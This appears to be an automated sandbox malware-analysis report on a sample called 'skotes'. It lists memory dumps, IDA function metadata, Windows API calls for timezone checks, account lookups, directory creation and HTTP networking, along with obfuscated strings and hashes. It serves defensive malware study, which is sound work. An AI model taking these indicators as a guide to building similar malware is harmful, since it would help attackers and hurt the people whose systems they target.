Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: f74f56dd46eb5cc231b3eb51ac80dae145f063c36a79b079fd35c3011f63affb
Instruction ID: 63c90c79cb539b7641666fe2fb7677292f3251aa2ee4bb8b99535ed992833ada
Opcode Fuzzy Hash: f74f56dd46eb5cc231b3eb51ac80dae145f063c36a79b079fd35c3011f63affb
Instruction Fuzzy Hash: 2482C1709042889BEF14EF68C9597DEBFB5EB46304F508588E8057B3C2D7759A88CBD2

Function 00EE2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00EF6758), ref: 00EE275C

Strings

Xg, xrefs: 00EE2705, 00EE270B
Eastern Summer Time, xrefs: 00EE27FA
Eastern Standard Time, xrefs: 00EE27CB

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg
API String ID: 565725191-1829962876
Opcode ID: 3e24e17a1c4aac614f0ca9ec58c97fb982731776debc8b30e78c88bd9dcd9fab
Instruction ID: 0761955f301bd16adc7405506e82e54fbc95a32ce310ff04ad842558eb70ac74
Opcode Fuzzy Hash: 3e24e17a1c4aac614f0ca9ec58c97fb982731776debc8b30e78c88bd9dcd9fab
Instruction Fuzzy Hash: 07C13771A0028D9BDB249F6ACC41AAA7BFDEF45318F1461AEE681F7391E7308E41D750

Function 00EA65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00EA6680

Strings

ISNmfV==, xrefs: 00EA67D1
GSTmfV==, xrefs: 00EA6728
RySfdMLx, xrefs: 00EA669C

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 15529ad4d9b81ad8235450393e4e74189be444961be51bc34b7e5fcce5fcdc53
Instruction ID: d2261d8ffe19ffae386cac1f136cf2e37da1980e364549284768c20ca08230c0
Opcode Fuzzy Hash: 15529ad4d9b81ad8235450393e4e74189be444961be51bc34b7e5fcce5fcdc53
Instruction Fuzzy Hash: B891D7B19001189BDB28DB64CC85BDEB7B9EB4A304F4445E9E519A7291DB30ABC4CF64

Function 00EAEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAEB51
CreateDirectoryA.KERNEL32(00000000), ref: 00EAEC83
GetFileAttributesA.KERNEL32(00000000), ref: 00EAED98

Strings

111, xrefs: 00EAF7A0
mxo1L0x, xrefs: 00EAEE84
#, xrefs: 00EB0624
GiQaT29tduF=, xrefs: 00EAFEB6
FisgLnsCZO1i, xrefs: 00EAFF19
stoi argument out of range, xrefs: 00EB08C4
9c9aa5, xrefs: 00EAFB8E
FCQgKF==, xrefs: 00EAFEE4
WTs=, xrefs: 00EB05CA
WDw=, xrefs: 00EAF71D, 00EAF9FA, 00EAFDE3
invalid stoi argument, xrefs: 00EB08B0
UA==, xrefs: 00EAEC41, 00EAED56, 00EAEF89, 00EAF2CE
246122658369, xrefs: 00EAF737, 00EAFA14, 00EAFE00, 00EB05E7

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 334876209d7333ddd85e9fe80b3d3bf0a8049522d2098809287d84318abf038a
Instruction ID: c32c5f145d3d4fc9098b0beb2309d81a6e33b3fa9fe4f5747e82ff21b0d74f51
Opcode Fuzzy Hash: 334876209d7333ddd85e9fe80b3d3bf0a8049522d2098809287d84318abf038a
Instruction Fuzzy Hash: 20F23D71A001449BEF18DB78CD897DEBBB1DF86304F148198E449BB3D6DB359A84CB91

Function 00EABE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,948A6F40,?,00000000), ref: 00EABEB8
InternetOpenW.WININET(00EF8DC8,00000000,00000000,00000000,00000000), ref: 00EABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00EABEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00EABF36
HttpSendRequestA.WININET(?,00000000), ref: 00EABFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00EAC0A7
InternetCloseHandle.WININET(?), ref: 00EAC187
InternetCloseHandle.WININET(?), ref: 00EAC18F
InternetCloseHandle.WININET(?), ref: 00EAC197

Strings

8HJUeIfzLo==, xrefs: 00EAC3CB, 00EAC623
RE1NXF==, xrefs: 00EABF0E
invalid stoi argument, xrefs: 00EAE4F4
stoi argument out of range, xrefs: 00EAE4EA
8HJUeMD Lq5=, xrefs: 00EAC465
CH, xrefs: 00EAC2A8, 00EABEDA, 00EABEE3, 00EABEE9

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
